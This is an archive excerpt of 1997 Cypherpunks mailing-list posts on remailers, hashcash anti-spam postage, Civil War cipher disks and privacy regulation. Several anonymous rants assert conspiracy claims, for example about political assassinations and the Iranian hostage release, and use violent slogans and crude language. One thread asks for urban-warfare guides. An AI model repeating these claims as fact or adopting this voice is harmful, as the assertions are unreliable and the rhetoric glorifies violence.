they're bogus IDs, then his ISP might have a policy about that as
well.

> : How can
> :someone you don't even know control your killfile?  I can killfile anyone I
> :want to, including "nobody at some_remailer".  I haven't killfiled anyone, but
> :I could do so if I wanted to.
> 
> You could but it's not worth it.  Killfile anyone posting anonymously because
> of one idiot?  I don't do that either.

Again, that's a choice you have to weigh.  Take each remailer ID and
decide whether the valuable posts from that ID outweigh the junk.
But, again, annoying posts aren't really what Politas' proposal
dealt with.  He was talking about actual laws being broken.

> :Why would that prevent you from contacting the police?  But consider that 
> :libel is a civil tort not a criminal offense, so the police aren't likely to 
> :get involved, even if you could identify the culprit.
> 
> True that a traceless remailer makes it impossible, not that getting the
> police involved would work. Sorry I wasn't clearer.

If you had a matter that truly concerned the police, the lack of a
suspect's name shouldn't hinder you.  After all, if someone had
stolen your car, you'd report it even if you didn't know who did it,
wouldn't you?  As I said previously, many bank robbers are caught
even if they wore masks or drove a car without license plates.

> :I'm really trying to understand what Politas' wants, but it's difficult.
> 
> I think he wants one particluar person to leave him alone.

I must have missed that point in following the thread.  If I recall
correctly, I asked him what particular problem he was trying to
solve, since it's easier to solve real, existing problems that
hypothetical ones.  He said that he didn't have any problems like
that himself, and doubted he would because he didn't normally engage
in behavior that would attract enemies, but he was concerned that it
might happen to others.

[Politas:  please feel free to jump in and clarify this point.]

- ---
Finger  for PGP public key (Key ID=19BE8B0D)


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNKFE6wbp0h8ZvosNAQESpQf9GO+lwhRsKMWnn24n9LJR8bE/Wih+gmXg
sFYVVAQDExRCiCcoBMcvg1+EvxKvOrpLMKOiyf3ErxPiSxmn6ngb8n0PlraEpURt
ioBOrg6/BDUGU5tGxdyfot2kOpc89S/c+bdjOBKWmKe0zKi4PObinX+yIaJ+EnOG
3HajH3B4ND3KSO9nwtQmtCuu8HBt8S0qA3o5H6fXSOmVfknZZIpnYaneYWUAqn8G
ey8jVyIUdBjLYP36U1JCsvIPbcW/vhAEpO0qnbmWf11fLfJGAW8aVl+wHuZVbqyL
lAqXil0r0QuAyksJ5OoMHMA6SOofMkR4CUiPZhQE2VC+sWE9rKiHFQ==
=0ndp
-----END PGP SIGNATURE-----






From anon at squirrel.owl.de  Wed Dec 24 11:06:32 1997
From: anon at squirrel.owl.de (Secret Squirrel)
Date: Thu, 25 Dec 1997 03:06:32 +0800
Subject: Best Cypherpunk War Text
Message-ID: <0fbfd3a030778913888de9b2f48b8c35@squirrel>



The "lock and load," "Best Cypherpunk long gun" and other similar threads
have gotten me thinking.

Can any fellow Cypherpunks suggest any books or documents on the net
concerning urban warfare, generic non-urban warfare (e.g. plains),
differences between weapons, suggestions, etc. Basically a survivalist's
almanac, I suppose.

Threat model: For whatever reason the U.S. just collapsed. Civil war is
imminent and there is little or no civility in the streets. 






From ichudov at Algebra.COM  Wed Dec 24 11:19:09 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Thu, 25 Dec 1997 03:19:09 +0800
Subject: Best Cypherpunk War Text
In-Reply-To: <0fbfd3a030778913888de9b2f48b8c35@squirrel>
Message-ID: <199712241914.NAA05051@manifold.algebra.com>



 Army Manuals

go to field manuals

you can find all you want and more

igor

Secret Squirrel wrote:
> 
> 
> The "lock and load," "Best Cypherpunk long gun" and other similar threads
> have gotten me thinking.
> 
> Can any fellow Cypherpunks suggest any books or documents on the net
> concerning urban warfare, generic non-urban warfare (e.g. plains),
> differences between weapons, suggestions, etc. Basically a survivalist's
> almanac, I suppose.
> 
> Threat model: For whatever reason the U.S. just collapsed. Civil war is
> imminent and there is little or no civility in the streets. 
> 



	- Igor.






From phelix at vallnet.com  Wed Dec 24 11:23:24 1997
From: phelix at vallnet.com (phelix at vallnet.com)
Date: Thu, 25 Dec 1997 03:23:24 +0800
Subject: hashcash spam prevention & firewalls
In-Reply-To: <3.0.3.32.19971218120500.00707254@popd.ix.netcom.com>
Message-ID: <34a4cc37.203592456@128.2.84.191>



On 22 Dec 1997 14:15:31 -0600, Adam Back  wrote:

>The more thorny problem to solve is that posed by Robert Costner: what
>do you do about nyms.  You (the sender) can't include postage for nym
>reply blocks because you don't know (and mustn't know) the remailer
>chain pointed to by the reply block.

Could you throw hashcash into the reply block?  This would, of course, make
reply blocks non-reusable. 

Perhaps all remailers could agree to accept hashcash made out to a generic
name like "remailer".  This way, the sender can just generate X coins
without worrying about which remailers the message would go through.  The
only problem is that the sender would have to know how many coins to
generate.

Actually, if the message never went through the same remailer twice, only
one coin would needed.  Set up the remailers so that they don't strip away
a coin made out to "remailer".  There could be problems with tracking the
message though.


>
>> Mailing lists are still hard, and perhaps best handled by the user's
>> software (or some fancy variant like user-selectable filters at the
>> ISP mailbox.)
>
>I think it's simplest to have the user explicitly allow the mailing
>list.
>
>You could possibly auto detect the pattern of a user subscribing to a
>mailing list at the mail filter level also.
>

Each user will probably have a list of names that he will accept coins for.
Mail sent to a listserver could have a coin made out to
"listserver at foo.bar".  The listserver could, after checking the coin,
simply pass that coin along with the message to everyone subscribed on the
list.  The end user will receive a coin made out to "listserver at foo.bar".
If that name is on his list, the coin will be checked; otherwise the
message is automatically dropped/bounced/whatever.

This way, the listserver is never burdened with generating hashcash; but
those who send messages to the list are (but they only have to generate one
coin for each message).

-- Phelix






From mixmaster at remail.obscura.com  Wed Dec 24 11:53:53 1997
From: mixmaster at remail.obscura.com (Mixmaster)
Date: Thu, 25 Dec 1997 03:53:53 +0800
Subject: Best Cypherpunk War Text
Message-ID: <199712241940.LAA22619@sirius.infonex.com>



The "lock and load," "Best Cypherpunk long gun" and other similar threads
have gotten me thinking.

Can any fellow Cypherpunks suggest any books or documents on the net
concerning urban warfare, generic non-urban warfare (e.g. plains),
differences between weapons, suggestions, etc. Basically a survivalist's
almanac, I suppose.

Threat model: For whatever reason the U.S. just collapsed. Civil war is
imminent and there is little or no civility in the streets. 






From jya at pipeline.com  Wed Dec 24 12:43:06 1997
From: jya at pipeline.com (John Young)
Date: Thu, 25 Dec 1997 04:43:06 +0800
Subject: Civil War Crypto Question...
Message-ID: <1.5.4.32.19971224203500.006f4cac@pop.pipeline.com>



Jim Choate wrote:

>Myer implimented including a 'cipher disk' whereby the Union was able to
>change their telegraph codes on an hourly schedule. It was apparently very
>effictive in dealing with taps and such.
>
>Anyone know of another source that discusses this disk?

Myer's code and cipher disk (with illustration) are briefly described
in Fred Wrixon's "Codes and Ciphers" along with an entry on
Civil War crypto with a photo of a Confederate cipher disk.

We've put the entries and illustrations at:

   http://jya.com/cydisk.htm

The book is:

   "Codes and Ciphers: An A to Z of Covert Communication, 
   from the Clay Tablet to the Microdot,"
   Fred B. Wrixon, Prentice Hall, 1992, paper. $18.00 
   ISBN 0-13-277047-4







From nobody at REPLAY.COM  Wed Dec 24 12:54:05 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:54:05 +0800
Subject: Cryptographers Do It With Protection
Message-ID: <199712242046.VAA17716@basement.replay.com>



Excerpts From:
None of Your Business: 
World Data Flows, Electronic Commerce, and the European Privacy Directive
Peter P. Swire & Robert E. Litan

>The Tension Between Data Protection 
>and Modern Information Technologies

>On almost any conceivable dimension, we are in the midst of an information 
>explosion.  Data protection rules, by contrast, seek to block flows of 
>information.

  Data 'Control' is oppression.
  Data 'Protection' is our friend.

  "If putting all information about every individual on the face of the
globe in the hands of the New World Order saves the life of a single
child..."

>Seen another way, the rise of computers and computer networks is undoubtedly
>a major reason why countries have promulgated data protection rules in 
>recent decades.  In both the United States and Europe, current debates 
>about privacy are being driven by fears about how computers pose a threat 
>to privacy.  
>That is, computers are the key reason for data protection rules.
...
>International flows of data.  International flows of information are 
>climbing rapidly within companies, as they create global Intranets, 
>and between companies, as they use Extranets with their strategic 
>partners.

  And these "data protection rules" are going to be enforced equally for
everybody, right?
  If you and I are fined and imprisoned for violation of these rules, then
it will be likewise for owners of megacorporations, government employees,
etc. 
  Just like at Waco and Ruby Ridge, Kent State and Tiennachinc Square...
Just like murdering dictators at the APEC summit would have been maced and
arrested if they carried signs saying "Freedom & Democracy."

  Get real. While Bernstein has the Dogs of InfoWar set on his ass, RSA
is exporting cutting edge encryption technology to Communist China.

Bottom Line: Just as is the case today, the "data protection" laws and
regulations of the future will apply only to those individuals and
corporations who fail to fall in line with the New World Order's desire
for all new technologies to contain tools of surveillance and oppression.

"Those who have nothing to hide, have nothing to fear."

  Put a cork in your asshole...the government is going to 'protect'
you again.

BendOverI'mHereToHelpYouMonger
|<-----------------------------------------------------------
  -----------------------------------------------------------
  -----------------------------------------------------------
  ----------------------------------------------------------->|
                             6"






From nobody at REPLAY.COM  Wed Dec 24 12:54:13 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:54:13 +0800
Subject: This post is none of your business
Message-ID: <199712242046.VAA17648@basement.replay.com>



Excerpts From:
None of Your Business: 
World Data Flows, Electronic Commerce, and the European Privacy Directive
Peter P. Swire & Robert E. Litan

>The Directive's limits on transborder data flows directly confront 
>organizations' expectations to be able to circulate information freely 
>inside the organization's firewalls and other security.  Operations 
>in the United States and other third countries will often expect to 
>exchange data about employees with European operations.  
>Wherever there is no finding of adequacy, however, sending data to 
>third countries risks violating the data protection regime.  
>Organizations thus face a compliance dilemma of whether they can 
>implement Intranet and other information technologies consistent with 
>European law.

  Keep in mind that ignorance of laws written on foreign shores, in 
foreign languages, will be no excuse.
  Americans can expect to be indicted as coconspirators of people they
have never met, have never seen, and have never communicated with.

  "Put down that copy of the Constitution, and slowly back away from
the keyboard, Monsieur!"

>In an era of transnational business, the accounting and auditing 
>functions of companies require transfer of an increasingly wide range 
>of information across borders.  To carry out these functions, auditors 
>and accountants must have the ability to examine the underlying 
>documentation of transactions.  This documentation often includes 
>personally identifiable information.  
>The Directive thus challenges the ability of transnational firms to 
>follow accepted and appropriate procedures for audit and accounting.

  So we can expect to see governments and megacorporations blow off
billions of dollars in order to protect Dimitri Vulis' privacy.
  Right...


  "None of Your Business" is full of references to "transnational"
corporations and organizations, and the development of "Intranet"
and "Extranet" webs within and among them.
  While it addresses many of the issues which will come into play
regarding regional laws and regulations in the expanding global 
InterNet (and does a damn fine job of it), I believe that, in the
end, the single issue which will decide the fate of all who use
the InterNet will be the right to privacy.
  Without privacy, freedom and self-determination are not possible.

  The more things globally change, the more they will remain the
same. 
  Individual Bernsteins will find themselves pitted against
the bottomless pockets of governments and corporations, while
'transnational' RSAs will be free to engage in activities of
momentous proportions which are forbidden to the Bernsteins of
the world in even the smallest of instances.

  'Data Protection' will be as big a farce as 'News Protection'
currently is. It will be a tool for those with money and power
to control and manipulate the information that citizens are
allowed to access, and the form in which they will be allowed
to view it.
  The 'personal information' concerning the 'guerilla' mothers
and babies who are slaughtered by US troops will be 'protected'
(and thus 'unavailable), while the 'personal information' regarding 
the 'men of valor' who died while slaughtering them will be made 
available for a nation told to mourn only them.
  The 'personal information' concerning those who get filthy rich
selling the government $10,000 toilet seats will be 'protected',
while the 'personal information' regarding every small sin in the
lifetime of the whistleblower who exposes the thief will be made
available to every media souce on the face of the earth.

  The citizen's answer, "None of Your Business," will inevitably
be countered by the government's question, "What do you have to
hide?"
  With the expansion of global laws to cover every action and
activity possible to humankind, 'data' becomes translatable as
'evidence.' And "everything" becomes the government's business.

  Is it my imagination, or are Swire and Litan, as well as all
others who write about the current state of development of 
global technology, society and law, merely providing real-time
footnotes to '1984', without providing Orwell's insight into
our true future?

~~~~
1984AnimalFarmBraveNewWorldMonger
"Everything not permitted, is forbidden."






From nobody at REPLAY.COM  Wed Dec 24 12:54:21 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:54:21 +0800
Subject: Digital Revolutionaries
Message-ID: <199712242047.VAA17777@basement.replay.com>



>		None of Your Business: 
>World Data Flows, Electronic Commerce, and the European Privacy Directive
>	    Peter P. Swire & Robert E. Litan
>
>
>	B.	Some Reasons for Data Protection Laws.
>Before plunging into the Directive and its potential effects, 
>it is useful to understand why laws have emerged in recent decades -- 
>not only in the United States but elsewhere throughout the world -- 
>to govern uses of personal data. And perhaps the best, although 
>admittedly overdrawn, way to do this is by imagining a privacy 
                                                      ^^^^^^^^^
>advocate's worst nightmare -- the presence of an Orwellian, 
 ^^^^^^^^^^^^^^^^^^^^^^^^^^
>all-knowing computer, which contains a complete dossier on 
>every individual in a society.

  "Overdrawn?" Methinks Peter and Robert are on the outside,
looking in.

Forwarded from the London Telegraph:
-----------------------------------------------------------
>Daily Telegraph  Connected Supplement 16th December 1997
>
>A European Commission report warns that the United States has developed an
>extensive spying network on European Citizens and we should all be worried,
>reports Simon Davies.
>
>A global electronic spy network that can eavesdrop on every telephone,email
>and telex communication around the world will be officially acknowledged
>for the first time in a European Commission report to be delivered this
>week.

  Of course, anyone who suggests that they would use this information to
compile a complete dossier on everyone in sociey is a paranoid lunatic,
just as those who suggested the above *before* it became an open secret
were paranoid lunatics.

>Briefly consider what sorts of harms might occur if such a computer existed.
>If the computer were controlled by the government, then individuals might 
>feel chilled by constant surveillance. They might fear government would use 
>the computer to retaliate against its political enemies. They might be 
>afraid that those who controlled the computer would become an unaccountable
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>elite, whose command over secret files would help entrench themselves in 
 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
>power.
 ^^^^^

  Are Peter P. Swire & Robert E. Litan the *real* Author of 'The True Story
of the InterNet'?
  Is this why no one has ever seen them and TruthMonger together?

>The fears hardly disappear if the computer were controlled by corporations 
>in the private sector. In that case, private actors would gain extraordinary 
>power vis-a-vis the government. Meanwhile, corporate-controlled computers 
>can be just as invasive of personal privacy as those controlled by 
>government.  

  Can you say "Fascism?" Sure you can...

>What should be a society's response to these doomsday scenarios of the 
>all-knowing computer?  To the extent the scenarios are plausible, society 
>should seek ways to prevent and correct the abuses of power that can occur 
>with centralized control over information by the public and private sectors.

  "Society?" 
  Is "society" ready and willing to spend five *extra* years in prison for
the use of encryption and/or anonymity in the commission of such crimes as
exporting strong encryption?
  Is "society" ready and willing to fight the battles of tomorrow, *today*?

	"If you meet Dan Rather on the road, kill him."
  
>On the other hand, there may be important reasons why the doomsday scenarios
>will not occur, and especially reasons for doubting that information 
>technologies inevitably lead to centralization of control over information.
>As we explain in detail in subsequent chapters, both the United States and 
>European Union have taken steps to address the perceived risks caused by 
>individuals' loss of control over their personal information.

  Excuse me?
  We can expect to be 'saved' by governments which have already taken away
our basic human rights, and who continue to do so in increasing quantum 
leaps?
  We can expect to be 'saved' by Jim Bell's government? Or by the Branch
Davidian's government? Or by the government which arrested and maced its
citizens for possession of signs saying "Freedom & Liberty" during the
APEC summit where unelected dictators met with elected dictators to divvy
up the world's financial spoils?

  "We're from Adolf Hitler's government, and we're here to help you..."

NEWS FLASH!!!
The inevitable forced march to centralized information and centralized power
over the face of the globe will be successfully resisted only as it has been
done so in the past, through the efforts of Revolutionaries and Warriors.
This time, by Digital Revolutionists and InfoWarriors.

  Who is going to inform the public of what is taking place in the secret
war against the citizens?
  The Desert Storm reportwhores? The mainstream media who whipped the public
into being outraged by the sight of the bodies of US soldiers being dragged
through the streets of Somalia, while ignoring the stories of Somalian 
mothers with babies in their arms being slaughtered by those US soldiers?

  What segment of "society" is going to rise up in protest against the
outrages of the future?
  The segment that watched JFK, RFK, MLK, et al, be slaughtered by the 
Dark Allies, and slept comfortably with mainstream media visions of lone
gunmen and Magic Bullets dancing in their heads?
  The segment that watched the Iranian hostages responsible for the election
of RR and his CIA running mate being released on the same day as RayGun's
and BushWhacker's inauguration, and never smelled a ratfucker?
  The segment that can sleep comfortably after watching their government
burn to death the men, women and children of a religious group targeted
for persecution?
  The segment whose best revolutionary efforts have been to make feeble
attempts to fight yesterday's battles years after they have already been
lost, and the lies, hypocrisy and dark intentions of our government masters
begin to become public?

  The Revolution is Now!
  Tommorrow's battles are already being won today by secret government
agencies and unelected secret commissions who control the reality seen
by the citizens through the mainstream electronic opiate of the masses.

  The tools of encryption and anonymity are the weapons of the Digital
Revolution.
  Software sabotage and backdoors are the secret battles of the InfoWarrior.
Warez is the lifeline that provides InfoWarriors with the tools necessary 
to fight with the latest available weapons.

  The Clipper Chip is a digital implant. The V Chip is a digital implant.
The Save A Missing Child Chip will be a digital implant.

  Orwell and Kafka saw the Beast. Saint John the Divine saw the Great 
Beast...the Global Beast.
  Those who do not learn from the future, are doomed to live it...

TruthKidMonger
  |<---->|
     8"
"If this is the revolution, why are the drink prices so high?"
~       Patron at New York City guerilla bar






From nobody at REPLAY.COM  Wed Dec 24 12:55:20 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:55:20 +0800
Subject: CRYPTIC WARNING !!!
Message-ID: <199712242049.VAA18019@basement.replay.com>



 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	SOMETHING small IS GOING TO HAPPEN !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Little Peter
|<--------------------------------------------------->|
                       2"







From nobody at REPLAY.COM  Wed Dec 24 12:57:32 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Thu, 25 Dec 1997 04:57:32 +0800
Subject: Server Registration
Message-ID: <199712242051.VAA18158@basement.replay.com>



Server Registration

Excerpts From:
None of Your Business: 
World Data Flows, Electronic Commerce, and the European Privacy Directive
Peter P. Swire & Robert E. Litan

>Consent and jurisdiction, however, may be much bigger problems on the Web.  
>As for consent, an ordinary user often will not know the identity of the 
>person or organization that is hosting a web site.  The user often will 
>not know about the site's privacy practices.  Does the site keep track 
>of personal information, and perhaps sell that information to third 
>parties?  
>Is a "cookie" being placed on the user's hard drive to track his or her 
>movements in cyberspace?  Even if a site claims to have privacy protections 
>in place, how can the user verify that the polices are followed?  
>In addition, the user also has no ready way to determine whether the site 
>is within Europe, and thus clearly subject to the Directive, or else in 
>a third country that may lack privacy standards.  
>In light of all of these uncertainties, there may be little basis for 
>assuming that an individual has consented to a site's uses of personal 
>information.

  In the coming InfoWar, servers will be classified as "munitions" and
will be subject to registration, regulation and control.
  This will, of course, be for the 'Data Protection' of the citizens,
corporations and the government.
  "In the interests of National Security." will become, "In the interests
of Data Protection." or somesuch new catchphrase of oppression.

>Outside of Europe, U.S. and other web site operators are even less 
>likely to comply with the Directive, and many of these operators may 
>remain beyond the jurisdiction of European law.  
>Web sites will also likely be established outside of Europe precisely 
>in order to process data in ways that are forbidden by the Directive, 
>and it is far from clear that technical methods exist to prevent data 
>from flowing to such sites.

  Naturally, the InfoWar waged against Data Criminals will have to be a
global effort, with the increasing merging of worldwide LEA's described
by Reno and Freeh.
  God help the American who is an international coconspirator of Jaime
Belle. God help the American who exports strong encryption developed by
RSA in Communist China, and subject to their laws.

  Face it...any government or corporation that could be guaranteed 
exclusive access to the Chinese market would send a Strike Force back
in time to murder baby Jesus in Bethlehem, if that was what it took.
  The citizen's ass will soon be global grass...

>This legal enforceability will only provide effective protection of data,
>though, if there is actual compliance by the many controllers within 
>Europe, and some legal and practical way to gain compliance from web 
>site operators elsewhere in the world.

  "In order to Data-Save the Global Village, we had to burn it."

>It is indeed possible that data protection rules will increase consumer 
>confidence and thus the level of electronic commerce -- if the public 
>knows about and trusts the data protection rules, and if those rules 
>inspire more confidence than other approaches to protecting privacy.

  Bullshit!
  The sheeple will sell out their human rights birthright for a bowl of
instant gratification pottage, and, in the twisted reality of present
day 'democracy', will sell out the rights of the rest of us, as well.

  "If you don't click on the button that states you agree with the loss
of all your human rights, you cannot access the "Naked Teenagers Sucking
Donkey Dicks" streaming videos."

NEWS FLASH!!!
The news stories describing how reluctant consumers are to give out their
credit card information out over the InterNet never seem to mention that
the largest financial transaction base on the InterNet is not fueled by
customers who wait a week or so for 'snail mail' payments to "Adult Check"
to give them access to hard-core pornography.

  The sheeple will "trust the data protection rules" when they are 'told'
to do so (by the same government officials who told them that there would
indeed be jacuzzi's at Aushwitz -- "Now climb aboard, please.")

  "They came for the encryption, and I had no encryption, so I didn't
speak up. They came for the server registration, and I had no server,
so I didn't speak up.
  "Then they came for access to the hard drives, and I had a hard drive,
but nobody spoke up."

  Saving the life of that "single child" is going to be the death
of us all.

ServerRegistrationMonger #326-A57-IE54876-29






From ravage at ssz.com  Wed Dec 24 13:07:59 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 25 Dec 1997 05:07:59 +0800
Subject: Civil War Crypto Question... (fwd)
Message-ID: <199712242128.PAA30218@einstein.ssz.com>



Forwarded message:

> Date: Wed, 24 Dec 1997 15:35:00 -0500
> From: John Young 
> Subject: Re: Civil War Crypto Question...

> Jim Choate wrote:
> 
> >Myer implimented including a 'cipher disk' whereby the Union was able to
> >change their telegraph codes on an hourly schedule. It was apparently very
> >effictive in dealing with taps and such.
> >
> >Anyone know of another source that discusses this disk?
> 
> Myer's code and cipher disk (with illustration) are briefly described
> in Fred Wrixon's "Codes and Ciphers" along with an entry on
> Civil War crypto with a photo of a Confederate cipher disk.
> 
> We've put the entries and illustrations at:
> 
>    http://jya.com/cydisk.htm
> 
> The book is:
> 
>    "Codes and Ciphers: An A to Z of Covert Communication, 
>    from the Clay Tablet to the Microdot,"
>    Fred B. Wrixon, Prentice Hall, 1992, paper. $18.00 
>    ISBN 0-13-277047-4

Thank you, thank you, thank you. I'll order a copy from the local bookstore
today!

Merry Christmas!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From sheriff at speakeasy.org  Wed Dec 24 13:59:07 1997
From: sheriff at speakeasy.org (The Sheriff)
Date: Thu, 25 Dec 1997 05:59:07 +0800
Subject: Freedom Forum report on the State of the First Amendment
In-Reply-To: 
Message-ID: 



>> Where do you get the right to tell others how they can make a living?
>
>I don't have that right.  However, the Supreme Court has said that the
>Congress has that right.

If you would be so kind as to a) specify that supreme court ruling,
and b) identify an online resource where I can obtain the text of
that decision, so that I can 1) confirm or deny your allegation, and
2) debate your position intelligently, I would greatly appreciate it.

>> I am not allowed to place toxic waste, or noise, where it can affect
>> others; I can ingest toxins privately and listen to whatever music I
>> like so long as you don't detect it in your backyard.
>
>Well, racism is hiring decisions is something that is detected in other
>people's backyards.  That's why its illegal.

What if I run a business out of my house?  What if I don't need
employees (such that I could affort to hire a couple of people,
or nobody at all)?  If I hire someone who is white because I don't
want to hire someone is black, then it is not a loss that is felt
within the black community, since I don't *need* to hire anybody
in the first place.

>>> In a fantasy world, it is mutually consensual.  It the real world, it is
>>> seldom mutual.
>
>> You prefer a shotgun or otherwise arranged marriage?
>
>I prefer a level playing field.

The above phrase is something that I hear a lot, and it deeply
disturbs me.  Regulation is allways seen as the arm of fairness,
when the above phrase is mentioned.

I am not allowed to choose to hire someone based on skin color,
and yet the country is riddled by "affirmative" action programs --
which, in the short and brutal version of the description of "AA"
is just a system of RACE-BASED PREFRENCES.

I find it very interesting that liberal activists in California,
who rabidly insist that racism is wrong, that we must have racial
dialogues, that we should all "just get allong," used the court
system to fight Proposition 209, which ends affirmative action in
that state.  The people voted their will, and the activists took
to the courts to override the people's will -- in effect, saying
that the California voting public is just a bunch of idiots.

I don't like someone telling me that I don't know better.  When
I like is as little government influence in my life as humanly
possible, be it in my choice of breakfast cereal, or employees.

>> Private behavior is private behavior, and trade is a private behavior.
>
>Not in this country.  If you don't believe me, check out Article I,
>Section 8 for one explicit example.

I read Article I, Section 8.  I shall quote the relevent portion that
relate to this discussion:

   "To regulate commerce with foreign nations, and among the several
   states, and with the Indian tribes; ... "

Now, then.  Notice the eighth word -- "amung."  As I understand
it, this means that the Fed can regulate INTERstate commerce, not
INTRAstate commerce.  This is why (again, as I understand it) the
Fed will inspect meat crossing state lines, but not meat that is
moved around within a state.  It is for this reason that not all
meat is inspected by the Fed.  If anybody has refrences to texts
that prove me wrong, bring them forward so that I can refine my
argument. :)

So, back to my home business.  Let's say I build computers and sell
them around the state.  Since I'm not transporting my product from
one state to another, the Fed can't constitutionally regulate how
I do business.

>>> With freedom comes responsibility.  Decency is one of them.

This is ALLWAYS the case.  You earn freedom through being a
responsible adult.  When you don't infringe on the rights of
others, the government has no grounds under which to infringe
on yours (through punishment or direct order).

>> But obligate decency at gunpoint is not worth it.
>
>It's called civilization.  You should try it some time.

No, no, no.  To obligate "decency" at gunpoint is definitely
NOT anything but facicism (sp?).  I remember a time when people
were obligated to do the "decent" thing and worship God and
Jesus Christ -- and, as the bumper sticker says, "The last time
religion and politics were mixed, someone got burned."

Decency is a very fuzzy word.  After all, the KKK says that
white people are the only decent people.  The KKK is in the
minority.  To use your own words:

"No majority group has a right to discriminate against a minority."

By your own words, the KKK should be allowed to discriminate
against blacks when they hire if they want to, since they are
in the minority when compared (by numbers) to all of the groups
they think are lesser than those of white skin.

After all -- does skin color constitute the only minority?  Not
according to the definition of the word.

Best wishes and fresh-roasted peanut taste,
The Sheriff. -- ******
---
As kinky as it sounds, finger me to see my PGP key and
confirm the signature attached to this message.
---
Any and all SPAM will be met with immediate prosecutory
efforts.  Solicitations are NOT welcome here!
---
        ----BEGIN INFLAMATORY BLOCK----
Version: 160 (IQ)
Comments: Definitely one of their greatest misses.

Reporter: "Do you know what Public Enemy is?"
---
Citizen: "Public enemy?"
          [long pause]
         "Probably somebody in office."
        -----END INFLAMATORY BLOCK-----







From cypherpunks at toad.com  Wed Dec 24 14:39:51 1997
From: cypherpunks at toad.com (cypherpunks at toad.com)
Date: Thu, 25 Dec 1997 06:39:51 +0800
Subject: Request_for_quotation
Message-ID: <199712242231.OAA02038@toad.com>

Att. Sales / Export Department

Re: Request for quotation

A RFQ for products which, to the best of our knowledge are similar to
those offered by you ,was placed with us by one of our clients.

We are a  world wide sourcing firm and we are paid by our clients to
find them suitable suppliers . 

To you ,our service is totally free of charge !!!   

The information we will get from you will not only be immediately sent
to this particular client but also to all other clients looking for
similar products .
 
To define and advise us  the  products you are interested to export
and/or to get more information about us and our FREE  SERVICE , please
use our Internet interface at: http://www.thebol.com

Best Regards

theBOL - Purchasing Department






From ravage at ssz.com  Wed Dec 24 15:15:53 1997
From: ravage at ssz.com (Jim Choate)
Date: Thu, 25 Dec 1997 07:15:53 +0800
Subject: Civil War Crypto Question... (fwd)
Message-ID: <199712242335.RAA30528@einstein.ssz.com>



Hi,

There is a historical problem w/ the accredation of the various signals in
use during the Civil War in the book:

>    "Codes and Ciphers: An A to Z of Covert Communication, 
>    from the Clay Tablet to the Microdot,"
>    Fred B. Wrixon, Prentice Hall, 1992, paper. $18.00 
>    ISBN 0-13-277047-4

The author claims (from John Young's cydisk.htm):

 Myer, Albert (1829-1880), U S. Army surgeon and cryptographer. To
finance his medical studies, Myer worked as an operator for the New York,
Albany, and Buffalo Telegraph Company. After entering the army, he developed
a visual signaling method in 1856 and called it flag telegraphy. (Two British
officers, Sir Francis Bolton and Vice Adm. Philip Colomb, independently developed
a similar system at about the same time.) Though it was approved for use
in 1860, the year Myer became chief signal officer, the system was not fully
appreciated until the outbreak of the U.S. CIVIL WAR in 1861. Myer's technique
then came to be known as "wigwag," from the motions of its hand-held flags
or disks for daytime signaling and torches or lanterns for sending messages
at night.

This is clearly several errors regarding 'wig-wag' signaling techniques and
Myer. These techniques go back to pre-Napoleonic times. Myers was a alphabetic
system where arm position denoted the letter, not the arm motion (hence
wig-wag).

In:

The American Civil War and the Origins of Modern Warfare
Edward Hagerman
pp. 40

"But the primary motive was recognition  of the benefits of this technology
to tactical and strategic coordination. The increasingly extended lines of
large American armies, especially  their tactical extension with the rifled
musket, as well as the rough terrain, challenged existing technology based
on wigwag signals supplemented by couriers."

In addition, McClellan didn't appoint Myer to be his signal officer until
August 20, 1861. Further, there was *no* signals department in the US Army
to be appointed to until *after* March 3, 1863 when legislation was passed
bringing the official Signal Corp. into being.

I don't have clue what Wrixon is talking about, but it clearly doesn't
have anything to do with history in general or crypto specificaly.

Cite this Wrixon's book with care.

  

    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From emc at wire.insync.net  Wed Dec 24 16:59:11 1997
From: emc at wire.insync.net (Eric Cordian)
Date: Thu, 25 Dec 1997 08:59:11 +0800
Subject: Cypherpunks IRC Christmas Eve Party
Message-ID: <199712250056.SAA01432@wire.insync.net>



If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
others will be around to chat.

--
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"






From dlv at bwalk.dm.com  Wed Dec 24 16:59:38 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 25 Dec 1997 08:59:38 +0800
